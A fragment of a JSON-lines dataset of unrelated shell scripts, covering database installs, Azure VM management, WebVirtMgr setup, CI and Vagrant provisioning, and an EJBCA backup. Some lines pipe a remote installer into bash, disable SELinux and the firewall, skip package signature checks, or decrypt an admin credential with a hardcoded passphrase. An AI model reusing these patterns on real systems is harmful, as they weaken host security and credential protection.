/opt/swamp/sql/viewer_store_procs.sql\n $mysql_command < /opt/swamp/sql/metric_procs.sql\n\n echo \"Populating tables\"\n $mysql_command < /opt/swamp/sql/populate_assessment.sql\n $mysql_command < /opt/swamp/sql/populate_package_store.sql\n $mysql_command < /opt/swamp/sql/populate_project.sql\n $mysql_command < /opt/swamp/sql/populate_tool_shed.sql\n $mysql_command < /opt/swamp/sql/populate_viewer_store.sql\n\n echo \"Running post-scripts\"\n $mysql_command < /opt/swamp/sql/swamp_in_a_box_install_postscript.sql\n if [ \"$SWAMP_CONTEXT\" == \"-distribution\" ]; then\n $mysql_command < /opt/swamp/sql/swamp_in_a_box_install_postscript_distribution.sql\n fi\n if [ \"$SWAMP_CONTEXT\" == \"-singleserver\" ]; then\n $mysql_command < /opt/swamp/sql/swamp_in_a_box_install_postscript_single_server.sql\n fi\n\n echo \"Installing SWAMP admin user\"\n swampadmin=$(openssl enc -d -aes-256-cbc -in /etc/.mysql_admin -pass pass:swamp)\n swampadmin=${swampadmin//\\'/\\'\\'}\n swampadmin=${swampadmin//\\\\/\\\\\\\\}\n echo \"INSERT INTO user (user_uid, username, password, first_name, last_name, preferred_name, email, affiliation, admin, enabled_flag) VALUES ('80835e30-d527-11e2-8b8b-0800200c9a66', 'admin-s', '${swampadmin}', 'System', 'Admin', 'admin', null, null, 1, 1);\" | $mysql_command project\n}\n\nfunction upgrade_data() {\n echo \"Running pre-scripts\"\n $mysql_command < /opt/swamp/sql/swamp_in_a_box_upgrade_prescript.sql\n if [ \"$SWAMP_CONTEXT\" == \"-distribution\" ]; then\n $mysql_command < /opt/swamp/sql/swamp_in_a_box_upgrade_prescript_distribution.sql\n fi\n if [ \"$SWAMP_CONTEXT\" == \"-singleserver\" ]; then\n $mysql_command < /opt/swamp/sql/swamp_in_a_box_upgrade_prescript_single_server.sql\n fi\n\n if [ -r /opt/swamp/sql/upgrades_data/upgrade_script.sql ]; then\n echo \"Running upgrade scripts\"\n (cd /opt/swamp/sql/upgrades_data ; $mysql_command < upgrade_script.sql)\n fi\n\n echo \"Upgrading stored procedures\"\n $mysql_command < /opt/swamp/sql/platform_store_procs.sql\n $mysql_command < /opt/swamp/sql/tool_shed_procs.sql\n $mysql_command < /opt/swamp/sql/package_store_procs.sql\n $mysql_command < /opt/swamp/sql/assessment_procs.sql\n $mysql_command < /opt/swamp/sql/viewer_store_procs.sql\n $mysql_command < /opt/swamp/sql/metric_procs.sql\n\n echo \"Running post-scripts\"\n $mysql_command < /opt/swamp/sql/swamp_in_a_box_upgrade_postscript.sql\n if [ \"$SWAMP_CONTEXT\" == \"-distribution\" ]; then\n $mysql_command < /opt/swamp/sql/swamp_in_a_box_upgrade_postscript_distribution.sql\n fi\n if [ \"$SWAMP_CONTEXT\" == \"-singleserver\" ]; then\n $mysql_command < /opt/swamp/sql/swamp_in_a_box_upgrade_postscript_single_server.sql\n fi\n}\n\n############################################################################\n\nif [ ! -r /etc/.mysql_root -a ! -r /etc/.mysql ]; then\n echo \"Error: $0: Unable to read password file\" 1>&2\n exit_with_error\nfi\n\ncreate_mysql_options_file\n\nif [ \"$MODE\" == \"-install\" ]; then\n #\n # Note: 'mysql_init.pl' starts the 'mysql' service and leaves it running.\n #\n if ! /opt/swamp/sql/mysql_init.pl ; then\n echo \"Error: $0: Failed to initialize database using 'mysql_init.pl'\" 1>&2\n exit_with_error\n fi\n install_directory\n install_data\nelse\n \"$BINDIR/manage_services.bash\" start mysql\n echo \"Backing up current database\"\n if ! /opt/swamp/sql/backup_db ; then\n echo \"Error: $0: Failed to backup database using 'backup_db'\" 1>&2\n exit_with_error\n fi\n upgrade_directory\n upgrade_data\nfi\n\ndo_clean_up\n\nexit $encountered_error"} {"text": "#!/bin/bash\n./presrcset.sh p07id98\n./presrcset.sh p09id90\n./presrcset.sh p09id91\n./presrcset.sh p09id92\n./presrcset.sh p13id111\n./presrcset.sh p13id112\n./presrcset.sh p13id33\n./presrcset.sh p13id49\n./presrcset.sh p15id100\n./presrcset.sh p20id40\n./presrcset.sh p20id50\n./presrcset.sh p20id54\n./presrcset.sh p21id93\n./presrcset.sh p21id94\n./presrcset.sh p33id44\n./presrcset.sh p33id45\n./presrcset.sh p33id48\n./presrcset.sh p33id72\n./presrcset.sh p33id73\n./presrcset.sh p33id74\n./presrcset.sh p57id46\n./presrcset.sh p57id47\n./presrcset.sh p57id52\n./presrcset.sh p59id29"} {"text": "81887821/YCSB-C-RocksDB\n#/bin/bash\n\nrepeat_num=3\ndb_names=(\n \"lock_stl\"\n \"tbb_rand\"\n \"tbb_scan\"\n)\n\ntrap 'kill $(jobs -p)' SIGINT\n\nif [ $# -ne 1 ]; then\n echo \"Usage: $0 [dir of workload specs]\"\n exit 1\nfi\n\nworkload_dir=$1\n\nfor file_name in $workload_dir/workload*.spec; do\n for ((tn=1; tn<=8; tn=tn*2)); do\n for db_name in ${db_names[@]}; do\n for ((i=1; i<=repeat_num; ++i)); do\n echo \"Running $db_name with $tn threads for $file_name\"\n ./ycsbc -db $db_name -threads $tn -P $file_name 2>>ycsbc.output &\n wait\n done\n done\n done\ndone"} {"text": "#!/bin/bash\n\n# https://docs.microsoft.com/en-us/learn/modules/manage-virtual-machines-with-azure-cli/2-create-a-vm\n\n\nUSER=azureuser\nPWRD=$(openssl rand -base64 32)\nRG=`az group list --query '[].name' --output tsv`\nLOC=`az group list --query '[].location' --output tsv`\nVM=myVM$RANDOM\n#\necho $RG $LOC $PWRD\n#\n\naz vm create \\\n --resource-group $RG \\\n --name $VM \\\n --image UbuntuLTS \\\n --admin-username $USER \\\n --generate-ssh-keys \\\n --verbose \n# --custom-data cloud-init.txt\n# --admin-password $ \\\n\n# Create a few VMs.\nfor i in `seq 1 5`; do\n echo '------------------------------------------'\n echo 'Creating ' myVm$i\n az vm create \\\n --resource-group $RG \\\n --name myVm$i \\\n --image UbuntuLTS \\\n --admin-username $USER \\\n --generate-ssh-keys \\\n --verbose\ndone\n\n# Save the names of VMs created\nvmlist=$(az vm list -g $RG -o tsv --query \"[].name\")\n\n# Open port 80 on all the VMs\nfor vm in $vmlist; do\n echo Open port 80 for $vm\n az vm open-port \\\n --port 80 \\\n --resource-group $RG \\\n --name $vm\ndone\n\n\n# List all VMs\naz vm list -g $RG -o table\n\n# List IPs\naz vm list -d -g $RG --query [].publicIps\n\n# List IPs\naz vm list -d -g $RG --query [[].name,[].publicIps,[].privateIps]\n\n# az vm show -d -g $RG -n $VM\n# az vm list -g $RG -o table\n\nVMIP1=$(az vm show \\\n --show-details \\\n --resource-group $RG \\\n --name $VM \\\n --query publicIps \\\n --output tsv)\n\nVMIP2=$(az vm show \\\n --show-details \\\n --resource-group $RG \\\n --name $VM \\\n --query privateIps \\\n --output tsv)\n\necho $VMIP1 - $VMIP2\n\n\nssh $$USER@$VMIP1\n\n# az vm list -g $RG --query \"[].id\" -o tsv\n# az vm show -d -g $RG -n $VM\n# az vm list -g $RG -o table\n# az vm list-ip-addresses -g $RG -o table\n# az vm list -g $RG --query \"[].vmId\" -o tsv\n# az vm list-ip-addresses --ids $(az vm list -g $RG --query \"[].vmId\" -o tsv)\n\n\naz vm list-sizes --location $LOC --output table\n\naz vm list-vm-resize-options \\\n --resource-group $RG \\\n --name $VM \\\n --output table\n\naz vm show \\\n --resource-group $RG \\\n --name $VM \\\n --query hardwareProfile.vmSize\n\naz vm show \\\n --resource-group $RG \\\n --name $VM \\\n --query \"networkProfile.networkInterfaces[].id\" -o tsv\n\naz vm resize \\\n --resource-group $RG \\\n --name $VM \\\n --size Standard_D2s_v3\n\n\n# Stop VM\naz vm stop \\\n --resource-group $RG \\\n --name $VM\n\n# Start VM\naz vm start \\\n --resource-group $RG \\\n --name $VM\n\n# restart VM\naz vm restart \\\n --resource-group $RG \\\n --name $VM\n\n\n# Loop thru all VMs and stop them\nfor vm in $vmlist; do\n echo Stopping $vm\n az vm stop \\\n --resource-group $RG \\\n --name $vm\ndone\n\n\n# Loop thru all VMs and stop them\nfor vm in `az vm list -g $RG -o tsv --query \"[].name\"`; do\n echo Stopping $vm\n az vm stop \\\n --resource-group $RG \\\n --name $vm\ndone\n\n# Loop thru all VMs and dealloacte them\nfor vm in `az vm list -g $RG -o tsv --query \"[].name\"`; do\n echo deallocate $vm\n az vm deallocate \\\n --resource-group $RG \\\n --name $vm\ndone"} {"text": "export PATH=\"$HOME/bin:$ZSH/bin:$PATH\"\nexport PATH=\"$PATH:$HOME/.yarn/bin\"\n\nif [ -f /opt/boxen/env.sh ]; then\n source /opt/boxen/env.sh\nelse\n export PATH=\"$HOME/.rbenv/shims:/usr/local/heroku/bin:$PATH\"\nfi"} {"text": "#!/bin/bash\nnetstat -ntl | grep 10010 >> /dev/null\nif [ $? -ne 0 ]\nthen\n/root/SSR_server/stop.sh\n/root/SSR_server/run.sh\nfi"} {"text": "Experimental/SLP/SlpPy.sh\n#!/bin/bash\n\n# If the CGI Python scripts are served by a Python class.\n\n. SLP/SlpMgr.sh\n\n# If the user hits control-c\ncontrol_c()\n{\n\tfor MyPid in $PidCgiServerSources $PidCgiServerInternals\n\tdo\n\t\techo Killing $MyPid\n\t\tpkill -KILL -P $MyPid\n\t\tkill -9 $MyPid\n\n\tdone\n\n\tSlpRegCgi deregister\n\n\texit\n}\n \n# trap keyboard interrupt (control-c)\ntrap control_c SIGINT\n\n# Two CGI servers because they are not reentrant. This one is needed by the SLP server.\nexport CgiPortSourcesOnly=8642\nexport CgiPortSources=8642\n# This one is used only internally.\nexport CgiPortInternalsOnly=2468\nexport CgiPortInternals=2468\n\n# These URLs are sources of RDF document.\nCgiServerSources()\n{\n\tSlpRegCgi register\n\techo \"Starting CgiServerSources Port=${CgiPortSources} Pid=$$\"\n\tpython -m CGIHTTPServer ${CgiPortSourcesOnly}\n}\n\n# These CGI scripts are used internally. They must have a different port number\n# than the server for RFD sources, because the web server is not multi-threaded.\nCgiServerInternals()\n{\n\techo \"Starting CgiServerInternals Port=${CgiPortInternals} Pid=$$\"\n\tpython -m CGIHTTPServer ${CgiPortInternalsOnly}\n}\n\nexport SlpdHere=`ps -ef | grep slpd | grep -v grep`\nif [ \"$SlpdHere\" == \"\" ]\nthen\n\techo \"Slpd not started\"\n\texit 1\nfi\n\nCgiServerSources &\nexport PidCgiServerSources=$!\n\nCgiServerInternals &\nexport PidCgiServerInternals=$!\n\nsleep 1\necho \"SLP registered services\"\nslptool findsrvs service:http.rdf\n\n# Maintenant, il faut enregistrer dans SLP\n# la ou les pages de bookmarks? Ou tout simplement\n# notre script CGI qui les edite,\n# ce qui evite d'acceder au fichier lui-meme?\n# Ca serait qd meme plus chic si c'etait affichable\n# et pas simplement une variable javascript.\n\necho Started PidCgiServerSources=$PidCgiServerSources PidCgiServerInternals=$PidCgiServerInternals\n\nsleep 999999"} {"text": "ieguinoa/bioconda-recipes\n#!/bin/bash\n\nexport CFLAGS=\"-I${PREFIX}/include\"\nexport LDFLAGS=\"-L${PREFIX}/lib\"\n\n$PYTHON setup.py install\n\n# Add more build steps here, if they are necessary.\n\n# See\n# http://docs.continuum.io/conda/build.html\n# for a list of environment variables that are set during the build process."} {"text": "#!/bin/bash\n\nYEAR=`date +%Y`\nWEEK=`date +%V`\n\nif [ \"$1\" ];then\nWEEK=`date -jf \"%Y%m%d\" \"$1\" +\"%V\"`\nfi\ncd arts-in-action\nmkdir -p \"$YEAR/week-$WEEK\"\n\nlist=\"algorithm review tip share\" \nfor i in $list; do \n touch \"$YEAR/week-$WEEK/$i.md\"\ndone \ncd ..\necho \"everything is ok\""} {"text": "ganxiaohui2/shell-sh\n#!/bin/bash\n#\n# webvirtmgr\n\n# 卸载网络组件\nsystemctl stop NetworkManager\nsystemctl disable NetworkManager\n# 关闭默认防火墙\nsystemctl stop firewalld.service \nsystemctl disable firewalld.service \n# 安装iptables\nyum install -y iptables\n# 升级iptables\nyum update iptables \n# 安装iptables-services\nyum install -y iptables-services\n# 设置开机不启动\nsystemctl disable iptables\n# 启动\nsystemctl start iptables\n# 清空所有默认规则\niptables -F\n# 清空所有自定义规则\niptables -X\n# 所有计数器归0\niptables -Z\n# 停止服务\nservice iptables stop \n\n# 关闭selinux\nsed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config #修改配置文件则永久生效,但是必须要重启系统。\n# 生效命令\nsetenforce 0\n\n# 设置目录并安装nginx\necho \"请确定已经设置好目录(/data/service):mkdir -p /data/service\"\n\n# 安装kvm(这一步不要求按照这个,只需要安装成功即可)\necho \"请确定已经安装好KVM\"\n\n# 安装WebVirtMgr依赖\nyum install epel-release\nwget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo\n# 这一步的epel源是关键,如果安装不成功,那么下面的依赖也会安装不成功\nyum -y install git python-pip libvirt-python libxml2-python python-websockify supervisor\nyum -y install gcc python-devel\npip install numpy\n\n# 正式安装WebVirtMgr并配置超级登录用户\ncd /data/service\ngit clone git://github.com/retspen/webvirtmgr.git\ncd webvirtmgr\npip install -r requirements.txt\n./manage.py syncdb\n# 配置超级用户\n./manage.py collectstatic\n\n# 设置nginx\ncat < /data/service/nginx_vhost/webvirtmgr.conf\nserver {\n listen 8001;\n\n server_name \\$hostname;\n access_log /data/weblog/nginx/webvirtmgr_access_log;\n\n location /static/ {\n root /data/service/webvirtmgr/webvirtmgr;\n expires max;\n }\n\n location / {\n proxy_pass http://127.0.0.1:8000;\n proxy_set_header X-Real-IP \\$remote_addr;\n proxy_set_header X-Forwarded-for \\$proxy_add_x_forwarded_for;\n proxy_set_header Host \\$host:\\$server_port;\n proxy_set_header X-Forwarded-Proto \\$scheme;\n proxy_connect_timeout 600;\n proxy_read_timeout 600;\n proxy_send_timeout 600;\n client_max_body_size 1024M;\n }\n}\nEOF\n\n# 重启nginx\nservice nginx restart\n# 配置supervisord服务\n# 设置权限\nchown -R nginx:nginx /data/service/webvirtmgr\n# 其实是在supervisord服务增加webvirtmgr进程的启动,依赖这个服务而已。\n\n# 开机自启\nsystemctl enable supervisord\n\n# 增加进程启动配置\ncat < /etc/supervisord.d/webvirtmgr.ini\n[program:webvirtmgr]\ncommand=/usr/bin/python /data/service/webvirtmgr/manage.py run_gunicorn -c /data/service/webvirtmgr/conf/gunicorn.conf.py\ndirectory=/data/service/webvirtmgr\nautostart=true\nautorestart=true\nlogfile=/var/log/supervisor/webvirtmgr.log\nlog_stderr=true\nuser=nginx\n\n[program:webvirtmgr-console]\ncommand=/usr/bin/python /data/service/webvirtmgr/console/webvirtmgr-console\ndirectory=/data/service/webvirtmgr\nautostart=true\nautorestart=true\nstdout_logfile=/var/log/supervisor/webvirtmgr-console.log\nredirect_stderr=true\nuser=nginx\nEOF\n# 重启服务\nservice supervisord restart\n\n# 权限设置(重点),也是设置Local登录的一种方式\n# 增加权限组\ngroupadd libvirtd\n# 增加用户到权限组\nusermod -a -G libvirtd root\nusermod -a -G libvirtd nginx\n# 设置kvm服务libvirtd启动权限\nsed -i 's/#unix_sock_group = \"libvirt\"/unix_sock_group = \"libvirtd\"/g' /etc/libvirt/libvirtd.conf\n\n# 增加权限启动配置\ncat < /etc/polkit-1/localauthority/50-local.d/50-org.libvirtd-group-access.pkla\n[libvirtd group Management Access]\nIdentity=unix-group:libvirtd\nAction=org.libvirt.unix.manage\nResultAny=yes\nResultInactive=yes\nResultActive=yes\nEOF\n\n# 最后重启服务\nservice libvirtd restart\nservice supervisord start\n\necho \"请勿设置为其它用户组权限/data/service/webvirtmgr,请一定保证为nginx用户组\"\necho \"如果/data/service/webvirtmgr的顶层权限不是nginx用户组,那么请设置nginx隶属于这个用户组,比如顶层权限为www-data用户组时:usermod -a -G www-data nginx\""} {"text": "loops/while04.sh1-10\n#!/bin/bash\n\n# While loop withh a break \nn=1\n\nwhile []"} {"text": "#! /bin/sh\n\n\nOutputProcessing()\n{\n\n\tlocal PriceNum=\"N\"$1 #商品の番号\n\n\tlocal flg=\"\" #売り切れフラグ\n\tlocal PName=\"\" #商品名\n\tlocal P=\"\" #値段\n\n\n\tflg=$( grep \"\\$\\.${PriceNum}\\.SoldOutFlg\" ./Data.txt | cut -f2 )\n\tPName=$( grep \"\\$\\.${PriceNum}\\.ProductName\" ./Data.txt | cut -f2 )\n\n\tif [ 1 -eq \"${flg}\" ]; then\n\t\tprintf \"${PName}は売り切れです。\\n\"\n\t\treturn 0\n\tfi\n\n\tP=$( grep \"\\$\\.${PriceNum}\\.Price\" ./Data.txt | cut -f2 )\n\tif [ \"${money}\" -lt \"${P}\" ]; then\n\t\tprintf \"金額が不足しています。\\n\"\n\t\treturn 0\n\telse\n\t\tprintf \"${PName}を1本購入しました。\\n\"\n\t\tQuantityProcessing ${PriceNum}\n\t\tmoney=$(( ${money} - ${P} ))\n\tfi\n\n}\n\n\nTestData()\n{\n\tmoney=0\n\tOutputProcessing 1\n\tprintf \"${money}\\n\"\n\n\tmoney=1000\n\tOutputProcessing 1\n\tprintf \"${money}\\n\"\n}\n\n#TestData"} {"text": "script/connect.sh0\n# disable current network connection, and connect to specified arguments\n# $1 - network name (ssid)\n# $2 - network password\n\nsudo nmcli dev disconnect wlan0\nsudo nmcli device wifi connect \"$1\" password \"$2\" ifname wlan0"} {"text": "ci/setup-gcloud.sh0\n#!/bin/bash\nset -e\nif [ ! -d \"$HOME/google-cloud-sdk/bin\" ]; then\n rm -rf $HOME/google-cloud-sdk;\n export CLOUDSDK_CORE_DISABLE_PROMPTS=1;\n curl https://sdk.cloud.google.com | bash;\nfi\nexport PATH=~/google-cloud-sdk/bin:$PATH\n\ngcloud --quiet version\ngcloud --quiet components update\ngcloud --quiet components update kubectl\ngcloud auth activate-service-account --key-file gcloud-service-key.json\n\ngcloud --quiet config set project $PROJECT_NAME\ngcloud --quiet config set container/cluster $CLUSTER_NAME\ngcloud --quiet config set compute/zone ${CLOUDSDK_COMPUTE_ZONE}\ngcloud --quiet container clusters get-credentials $CLUSTER_NAME"} {"text": "set -a\n\nSCRIPT_PATH=$(pwd)\n# Get project and package name from user\nread -p \"Enter project name: \" PROJECT_NAME\nread -p \"Enter package name: \" PACKAGE_NAME\n\nPROJECT_ROOT=\"$(pwd)/$PROJECT_NAME\"\n\n# Make basic directory structure for application\nprintf \"Creating directories...\"\nmkdir -p \"$PROJECT_NAME/app/src\" \"$PROJECT_NAME/app/src/main\" \"$PROJECT_NAME/app/libs\" \"$PROJECT_NAME/app/build\"\ncd \"$PROJECT_NAME/app/src/main\"\nmkdir -p \"java\" \"res\" \"assets/fonts\"\n\n# Direcroy structure for java files\nPACKAGE_PATH_NAME=$(echo \"$PACKAGE_NAME\" | tr . /)\nmkdir -p \"java/$PACKAGE_PATH_NAME\"\ncd \"java/$PACKAGE_PATH_NAME\"\nmkdir \"activities\" \"broadcasts\" \"services\" \"utils\"\n\n# Directory structure for resource files\ncd \"$PROJECT_ROOT/app/src/main/res\"\nmkdir \"anim\" \"drawable\" \"drawable-mdpi\" \"drawable-hdpi\" \"drawable-xhdpi\" \"drawable-xxhdpi\" \"mipmap-mdpi\" \"mipmap-hdpi\" \"mipmap-xhdpi\" \"mipmap-xxhdpi\" \"layout\" \"values\" \"xml\"\necho \"\tDone\"\n\n# Create files for application through another scripts\nprintf \"Creating files...\"\nbash \"$SCRIPT_PATH/writeFiles.bash\"\necho \"\tDone\""} {"text": "#!/bin/bash\nif [[ -z \"${DISPLAY}\" ]]; then\n export DISPLAY=:0\nfi\nsource $PWD/env/bin/activate\npython --version\nexport PYTHONPATH=$PWD:$PWD/third_party/snowboy:$PWD/third_party/pixels\npython archspee/main.py"} {"text": "carvefx/puphpet-testing\n#!/bin/bash\n\nexport DEBIAN_FRONTEND=noninteractive\n\nVAGRANT_CORE_FOLDER=$(echo \"$1\")\n\nOS=$(/bin/bash \"${VAGRANT_CORE_FOLDER}/shell/os-detect.sh\" ID)\nCODENAME=$(/bin/bash \"${VAGRANT_CORE_FOLDER}/shell/os-detect.sh\" CODENAME)\nRELEASE=$(/bin/bash \"${VAGRANT_CORE_FOLDER}/shell/os-detect.sh\" RELEASE)\n\ncat \"${VAGRANT_CORE_FOLDER}/shell/ascii-art/self-promotion.txt\"\nprintf \"\\n\"\necho \"\"\n\nif [[ ! -d '/.puphpet-stuff' ]]; then\n mkdir '/.puphpet-stuff'\n echo 'Created directory /.puphpet-stuff'\nfi\n\ntouch '/.puphpet-stuff/vagrant-core-folder.txt'\necho \"${VAGRANT_CORE_FOLDER}\" > '/.puphpet-stuff/vagrant-core-folder.txt'\n\n# Adding this here with a datestamped filename for future issues like #1189\n# apt repos become stale, Ubuntu/Debian move stuff around and break existing\n# boxes that no longer require apt-get update. Force it one more time. Update\n# datestamp as required for future breaks.\nif [[ ! -f '/.puphpet-stuff/initial-setup-apt-get-update' ]]; then\n if [ \"${OS}\" == 'debian' ] || [ \"${OS}\" == 'ubuntu' ]; then\n echo 'Running initial-setup apt-get update'\n apt-get update >/dev/null\n echo 'Finished running initial-setup apt-get update'\n fi\n\n touch '/.puphpet-stuff/initial-setup-repo-update'\nfi\n\nif [[ -f '/.puphpet-stuff/initial-setup-base-packages' ]]; then\n exit 0\nfi\n\nif [ \"${OS}\" == 'debian' ] || [ \"${OS}\" == 'ubuntu' ]; then\n echo 'Installing curl'\n apt-get -y install curl >/dev/null\n echo 'Finished installing curl'\n\n echo 'Installing git'\n apt-get -y install git-core >/dev/null\n echo 'Finished installing git'\n\n if [[ \"${CODENAME}\" == 'lucid' || \"${CODENAME}\" == 'precise' ]]; then\n echo 'Installing basic curl packages'\n apt-get -y install libcurl3 libcurl4-gnutls-dev curl >/dev/null\n echo 'Finished installing basic curl packages'\n fi\n\n echo 'Installing build-essential packages'\n apt-get -y install build-essential >/dev/null\n echo 'Finished installing build-essential packages'\nelif [[ \"${OS}\" == 'centos' ]]; then\n echo 'Adding repos: elrepo, epel, scl'\n perl -p -i -e 's@enabled=1@enabled=0@gi' /etc/yum/pluginconf.d/fastestmirror.conf\n perl -p -i -e 's@#baseurl=http://mirror.centos.org/centos/\\$releasever/os/\\$basearch/@baseurl=http://mirror.rackspace.com/CentOS//\\$releasever/os/\\$basearch/\\nenabled=1@gi' /etc/yum.repos.d/CentOS-Base.repo\n perl -p -i -e 's@#baseurl=http://mirror.centos.org/centos/\\$releasever/updates/\\$basearch/@baseurl=http://mirror.rackspace.com/CentOS//\\$releasever/updates/\\$basearch/\\nenabled=1@gi' /etc/yum.repos.d/CentOS-Base.repo\n perl -p -i -e 's@#baseurl=http://mirror.centos.org/centos/\\$releasever/extras/\\$basearch/@baseurl=http://mirror.rackspace.com/CentOS//\\$releasever/extras/\\$basearch/\\nenabled=1@gi' /etc/yum.repos.d/CentOS-Base.repo\n\n if [ \"${RELEASE}\" == 6 ]; then\n EL_REPO='http://www.elrepo.org/elrepo-release-6-6.el6.elrepo.noarch.rpm'\n EPEL='https://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm'\n else\n EL_REPO='http://www.elrepo.org/elrepo-release-7.0-2.el7.elrepo.noarch.rpm'\n EPEL='https://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-5.noarch.rpm'\n fi\n\n yum -y --nogpgcheck install \"${EL_REPO}\" >/dev/null\n yum -y --nogpgcheck install \"${EPEL}\" >/dev/null\n yum -y install centos-release-SCL >/dev/null\n yum clean all >/dev/null\n yum -y check-update >/dev/null\n echo 'Finished adding repos: elrep, epel, scl'\n\n echo 'Installing curl'\n yum -y install curl >/dev/null\n echo 'Finished installing curl'\n\n echo 'Installing git'\n yum -y install git >/dev/null\n echo 'Finished installing git'\n\n echo 'Installing Development Tools'\n yum -y groupinstall 'Development Tools' >/dev/null\n echo 'Finished installing Development Tools'\nfi\n\ntouch '/.puphpet-stuff/initial-setup-base-packages'"} {"text": "alecmuffett/protomine\n#!/bin/sh\n\n##\n## Copyright 2008 & \n##\n## Licensed under the Apache License, Version 2.0 (the \"License\"); you\n## may not use this file except in compliance with the License. You\n## may obtain a copy of the License at\n##\n## http://www.apache.org/licenses/LICENSE-2.0\n##\n## Unless required by applicable law or agreed to in writing, software\n## distributed under the License is distributed on an \"AS IS\" BASIS,\n## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n## implied. See the License for the specific language governing\n## permissions and limitations under the License.\n##\n\n\nexec 2>&1\n#set -x\n\n###\n# can't be arsed to poke filenames in everywhere\n\nSAMPLES=database/doc/sample-data\n\n# pick up minectlopts from environment\n\nminectl=\"./minectl $minectlopts\"\n\n###\n# set up some very general tags\n\n# concepts\n\n$minectl new-tags animals clothes countryside drink space \\\n fashion food friends plants transport travel\n\n# countries\n\n$minectl new-tags france spain italy usa\n\n# geekery\n\n$minectl new-tags themineproject\n\n###\n# set up some implied tags; cats imply animals, motorbikes imply transport, ...\n\n$minectl new-tags cats:animals dogs:animals birds:animals hippos:animals\n\n$minectl new-tags flowers:plants vegetables:plants trees:plants\n\n$minectl new-tags bicycles:transport motorbikes:transport cars:transport\n\n###\n# set up tags and implied tags in one go; read from left to right\n\n$minectl new-tags wine:drink beer:drink \n\n$minectl new-tags white-wine:wine red-wine:wine chardonnay:white-wine rioja:red-wine\n\n###\n# for shoe-fetishists \"shoes\" implies BOTH clothes AND fashion\n\n$minectl new-tags shoes:clothes,fashion\n\n# shoe types\n\n$minectl new-tags \\\n mules:shoes \\\n pumps:shoes \\\n slingbacks:shoes \\\n sneakers:shoes \\\n stilettos:shoes \\\n trainers:shoes\n\n###\n# upload a batch of objects without individual tagging\n\n$minectl upload -s public $SAMPLES/* # wasn't that easy?\n\n###\n# set up some relations\n\n$minectl new-relation alec 1 \"\" cats motorbikes drink food themineproject\n$minectl new-relation adriana 1 \"\" wine motorbikes themineproject\n$minectl new-relation carrie 1 \"\" sneakers trainers themineproject\n$minectl new-relation ben 1 \"\" wine food motorbikes\n$minectl new-relation perry 1 \"\" food drink except:white-wine\n\n###\n# highly verbose special cases for tag testing\nwhile read file tags\ndo\n $minectl upload -s public -t \"$tags\" $SAMPLES/$file\ndone <bin/backup/backup.sh\n#!/usr/bin/env bash\n# @version $Id: backup.sh 13844 2012-01-18 15:05:17Z anatom $\n\necho \"Performing backup of EJBCA\"\nSTARTING_DIRECTORY=$PWD\nTIMESTAMP=`date +\"%Y-%m-%d_%H:%M\"`\nif [ -z \"$EJBCA_HOME\" ] ; then\n\techo \"Please enter EJBCA home directory\"\n\tread EJBCA_HOME\nfi\necho \"Please enter a working directory (default is /tmp):\"\nread WORKING_DIRECTORY\nif [ \"$WORKING_DIRECTORY\" = \"\" ]; then\n\tWORKING_DIRECTORY=\"/tmp\"\nfi\necho \"Using directory $WORKING_DIRECTORY\"\necho \"Please enter your database type [mysql|postgres] (default: mysql):\"\nread DATABASE_TYPE\necho \"Please enter database host address (default: 127.0.0.1):\"\nread DATABASE_HOST\nif [ \"$DATABASE_HOST\" = \"\" ]; then \n\tDATABASE_HOST=\"127.0.0.1\"\nfi\necho \"Please enter database root user (default: root)\"\nread DATABASE_USER\nif [ \"$DATABASE_USER\" = \"\" ]; then \n\tDATABASE_USER=\"root\"\nfi\nif [ \"$DATABASE_TYPE\" = \"postgres\" ]; then\n\techo \"Performing dump of postgres database\"\n\techo \"Please enter location of pg_restore executable (default: /usr/bin)\"\n\tread PGSQL_HOME\n\tif [ \"$PGSQL_HOME\" = \"\" ]; then \n\t\tPGSQL_HOME=\"/usr/bin\"\n\t\t#PGSQL_HOME=\"/Library/PostgreSQL/9.0/bin\"\n\tfi\n\t$PGSQL_HOME/pg_dump -Fc -W -h$DATABASE_HOST -U$DATABASE_USER -b ejbca -f $WORKING_DIRECTORY/dbdump.sql\nelse\n\techo \"Please enter database port (default: 3306):\"\n\tread DATABASE_PORT\n\tif [ \"$DATABASE_PORT\" = \"\" ]; then \n\t\tDATABASE_PORT=\"3306\"\n\tfi\n\t\n\techo \"Please enter location of mysqldmp executable (default: /usr/bin)\"\n\tread MYSQL_HOME\n\tif [ \"$MYSQL_HOME\" = \"\" ]; then \n\t\tMYSQL_HOME=\"/usr/bin\"\n\tfi\n\techo \"Performing dump of mysql database\"\n\t$MYSQL_HOME/mysqldump --add-drop-table -h$DATABASE_HOST --port=$DATABASE_PORT -u$DATABASE_USER -p ejbca -r $WORKING_DIRECTORY/dbdump.sql\t\nfi\necho \"Zipping $EJBCA_HOME/conf\"\ncd $EJBCA_HOME/conf\nzip -R $WORKING_DIRECTORY/conf . '*.properties'\necho \"Zipping $EJBCA_HOME/p12\"\ncd $EJBCA_HOME/p12\nzip -R $WORKING_DIRECTORY/p12 *\ncd $WORKING_DIRECTORY\necho \"Zipping temporary files into backup.zip\"\nzip backup dbdump.sql conf.zip p12.zip\necho \"Removing temporary files\"\nrm -f $WORKING_DIRECTORY/dbdump.sql\nrm -f $WORKING_DIRECTORY/conf.zip\nrm -f $WORKING_DIRECTORY/p12.zip\necho \"Now encrypting backup.zip into backup-$TIMESTAMP.backup\"\ncd $EJBCA_HOME/dist/clientToolBox\necho \"Please input shared library name\"\nread SHARED_LIBRARY_NAME \necho \"Please input slot number. start with 'i' to indicate index in list\"\nread SLOT_NUMBER\necho \"Please input key alias\"\nread KEY_ALIAS\n# We have to use symmetric encryption algorithm CAMELLIA256_CBC in order for things to work on a Luna SA in FIPS mode (something we are sure the Luna provides does not support) \n./ejbcaClientToolBox.sh PKCS11HSMKeyTool encrypt $SHARED_LIBRARY_NAME $SLOT_NUMBER $WORKING_DIRECTORY/backup.zip $WORKING_DIRECTORY/backup-$TIMESTAMP.backup $KEY_ALIAS 1.2.392.200011.61.1.1.1.4\necho \"Removing temporary file backup.zip\"\nrm -f $WORKING_DIRECTORY/backup.zip\ncd $STARTING_DIRECTORY\necho Backup file is now stored as 